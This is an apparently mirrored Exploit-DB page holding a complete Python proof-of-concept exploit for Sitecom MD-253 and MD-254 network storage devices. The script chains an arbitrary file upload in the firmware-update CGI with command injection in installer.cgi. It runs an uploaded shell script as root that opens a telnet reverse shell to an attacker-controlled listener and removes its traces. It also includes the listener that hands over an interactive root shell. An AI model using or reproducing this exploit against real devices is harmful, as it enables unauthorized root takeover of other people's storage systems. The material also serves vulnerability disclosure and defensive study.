Sitecom MD-25x – Multiple Vulnerabilities

  • 作者: Mattijs van Ommeren
    日期: 2012-09-12
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/21268/
  • #!/usr/bin/python
    #
    # Exploit Title: Sitecom MD-253 and MD-254 Network Storage Reverse Shell Exploit
    # Date: 09/11/12
    # Exploit Author: Mattijs van Ommeren (mattijs _ at _ alcyon _ dot _nl)
    # Vendor Homepage: http://www.sitecom.com
    # Software Link: http://www.sitecom.com/download/5012/SitecomNas.2.4.17.bin
    # Version: 2.4.17 and below
    # Tested on: Windows 7 x64 and Backtrack 5 R1
    # CVE : N/A
    #
    # This PoC exploit code demonstrates how several bugs in Sitecom MD-253 and MD-254 Network Storage
    # devices can be combined to obtain a root shell.
    #
    # Firmware versions up to and including 2.4.17 are affected by the following vulnerabilities:
    #
    # 1. The /cgi-bin/upload CGI used by the firmware update function allows arbitrary file uploads that are:
    # - granted execute permissions 
    # - not removed after uploading if they don't contain valid firmware
    # - stored in a predictable location
    # 2. Installer.cgi contains a command injection vulnerability that allows one to run arbitrary commands as
    #root (only a limited character set can be used due to URL-encoding by CGI-handler)
    #
    # Known Limitations:
    #	- Crude heuristics to determine whether a pseudo prompt needs to be echoed to stderr
    #
    # Vulnerability Details:
    #	- http://www.alcyon.nl/advisories/aa-007
    #	- http://www.alcyon.nl/advisories/aa-008
    #
    # Latest version of this exploit:
    # - http://www.alcyon.nl/blog/sitecom-poc-exploit
    #
    
    import sys
    import os
    import socket
    import thread
    import datetime
    from optparse import OptionParser
    
    upload_url = '/cgi-bin/upload'
    cmd_inj_url = '/cgi-bin/installer.cgi?SetExecTable&%s'
    sh_name = 'revsh'
    
    sh_script = """
    #!/bin/sh
    mknod /tmp/backpipe p
    telnet %s %s 0</tmp/backpipe | /bin/sh -C 1>/tmp/backpipe 2>/tmp/backpipe
    # clean up our mess
    rm -f /tmp/backpipe
    rm -f /tmp/%s
    """.rstrip('\r')
    
    headers = """Host: %s\r
    User-Agent: Mozilla/5.0 (PwNAS 1.0; rv:1.0)\r
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r
    Accept-Language: en-us,en;q=0.5\r
    Proxy-Connection: close\r
    Referer: http://%s/firmware.htm\r
    Cookie: language=en;\r\n"""
    
    class Exploit:
    
    	def stdin_thread(self, sock):
    		try:
    			fd = sys.stdin.fileno()
    			while True:
    				data = os.read(fd, 1024)
    				if not data:
    					break
    				while True:
    					nleft = len(data)
    					nleft -= sock.send(data)
    					if nleft == 0:
    						break
    		except:
    			pass
    		sock.close()
    		self.running = False
    
    	def stdout_thread(self, sock):
    		last = datetime.datetime.now()	
    		try:
    			fd = sys.stdout.fileno()
    			while True:
    				if (datetime.datetime.now()-last<datetime.timedelta(milliseconds=500)):
    					sys.stderr.write('# '); # Insert fake prompt
    				last = datetime.datetime.now()
    				data = sock.recv(1024)
    				if not data:
    					break
    				while True:
    					nleft = len(data)
    					nleft -= os.write(fd, data)
    					if nleft == 0:
    						break
    		except Exception as e:
    			print e
    			pass
    		sock.close()
    		self.running = False
    
    	def parse_options(self):
    		parser = OptionParser(usage="usage: %prog [options]")
    		parser.add_option("-r", "--remote-host", action="store", type="string", dest="hostname", 
    			help="Specify the host to connect to")
    		parser.add_option("-l", "--listener-address", action="store", type="string", dest="listener_ip", 
    			help="Target IP for reverse shell connection")
    		parser.add_option("-p","--port",action="store",type="int",dest="port",
    			help="TCP port for the reverse shell connection")
    
    		parser.set_defaults(hostname=None, listener_ip=None, port=7777)
    		(options, args) = parser.parse_args();
    
    		if(options.hostname == None):
    			sys.stdout.write("Remote hostname/IP required\n")
    			parser.print_help()
    			sys.exit()
    		
    		#self.forced_bind = (options.listener_ip != None)
    		self.listener_ip = options.listener_ip		
    		self.hostname = options.hostname
    		self.port = options.port
    
    	def start_local_listener(self):
    		self.serv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    		self.serv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,1)
    
    		try:
    			self.serv.setsockopt(socket.SOL_SOCKET, socket.TCP_NODELAY, 1)
    		except socket.error:
    			sys.stderr.write("[-] Unable to set TCP_NODELAY")
    		
    		try:
    			self.serv.bind((self.listener_ip, self.port))
    		except:
    			print "[-] Unable to bind to given IP-address. Attempting to bind on default address. You probably need a #NAT/PAT rule if you're behind a firewall." 		
    			try:
    				self.serv.bind(('', self.port))
    			except:
    				print "[-] Unable to bind to default address. Aborting."
    				sys.exit(2)
    
    		print "[*] Listener started on %s:%s" % (self.serv.getsockname()[0], self.port)
    			
    		self.serv.listen(5)
    		self.clientsock, addr = self.serv.accept()
    		print "[*] Incoming connection from %s:%s" % (self.clientsock.getsockname()[0], self.clientsock.getsockname()[1])
    		self.clientsock.send('/bin/busybox uname -a\n');
    		banner = self.clientsock.recv(2048)
    		if (banner.find('Linux'))>=0:
    			print "[*] W00t W00t, got shell!\n\n%s\n" % banner		
    		thread.start_new_thread(self.stdin_thread, (self.clientsock,))
    		thread.start_new_thread(self.stdout_thread, (self.clientsock,))
    		
    	def connect_socket(self):
    		print "[*] Connecting..."
    		try:
    			self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    			self.socket.connect( (self.hostname, 80) )
    			if not self.listener_ip:
    				self.listener_ip = self.socket.getsockname()[0]
    			print "[*] Connected to %s (%s) " % (self.hostname, self.socket.getpeername()[0])
    		except Exception as inst:
    			print inst
    			print "[-] Unable to connect"
    			sys.exit(2)
    			
    	def upload_payload(self):
    		print "[*] Uploading payload\n"
    		try:
    			self.socket.send('POST %s HTTP/1.1\n' % upload_url)
    			self.send_headers()
    			ct = 'Content-Type: multipart/form-data; boundary=---------------------------41184676334\r\n'
    			begin_file='-----------------------------41184676334\r\n\
    Content-Disposition: form-data; name="file"; filename="%s"\r\n\
    Content-Type: application/octet-stream\r\n\r'
    			end_file='\r\n-----------------------------41184676334--\r\n'
    			pl = ''.join([begin_file, sh_script, end_file]) % (sh_name, self.listener_ip, self.port, sh_name)
    			cl = 'Content-Length: %s\r\n\r\n' % (len(pl))
    			crlf = '\r\n'
    			data = ''.join([ct,cl,pl,crlf])
    			self.socket.send(data)
    			if self.socket.recv(2048).find("200 OK")>=0 and self.socket.recv(2048).find('/tmp/'+sh_name)>=0:
    				print "[*] Payload succesfully uploaded"
    				self.socket.close()
    			else:
    				print "[-] Unexpected response. Trying to proceed anyway."				
    		except:
    			print "[-] Error uploading payload. Aborting."
    			sys.exit(2)
    			
    	def send_headers(self):
    		data = headers %(self.hostname, self.hostname)
    		self.socket.send(data)
    	
    	def execute_payload(self):
    		print "[*] Executing payload"
    		cmd = '/tmp/' + sh_name
    		req = 'GET %s HTTP/1.1\r\n' % (cmd_inj_url % cmd)
    		cr = '\r\n'
    		self.socket.send(''.join([req,cr])) 
    		self.send_headers()
    		if self.socket.recv(2048).find("200 OK")>=0:
    			print "[*] Finished executing payload"
    		self.socket.close()
    
    	def run(self):
    		self.line_buf = ''
    		self.prompt = False
    		self.parse_options()
    		self.connect_socket()
    		thread.start_new_thread(self.start_local_listener, ())
    		self.upload_payload()
    		self.connect_socket()
    		self.execute_payload()
    		print "[*] Waiting for reverse shell connection"
    		self.running = True
    		while self.running:
    			pass
    		
    exploit = Exploit()
    exploit.run()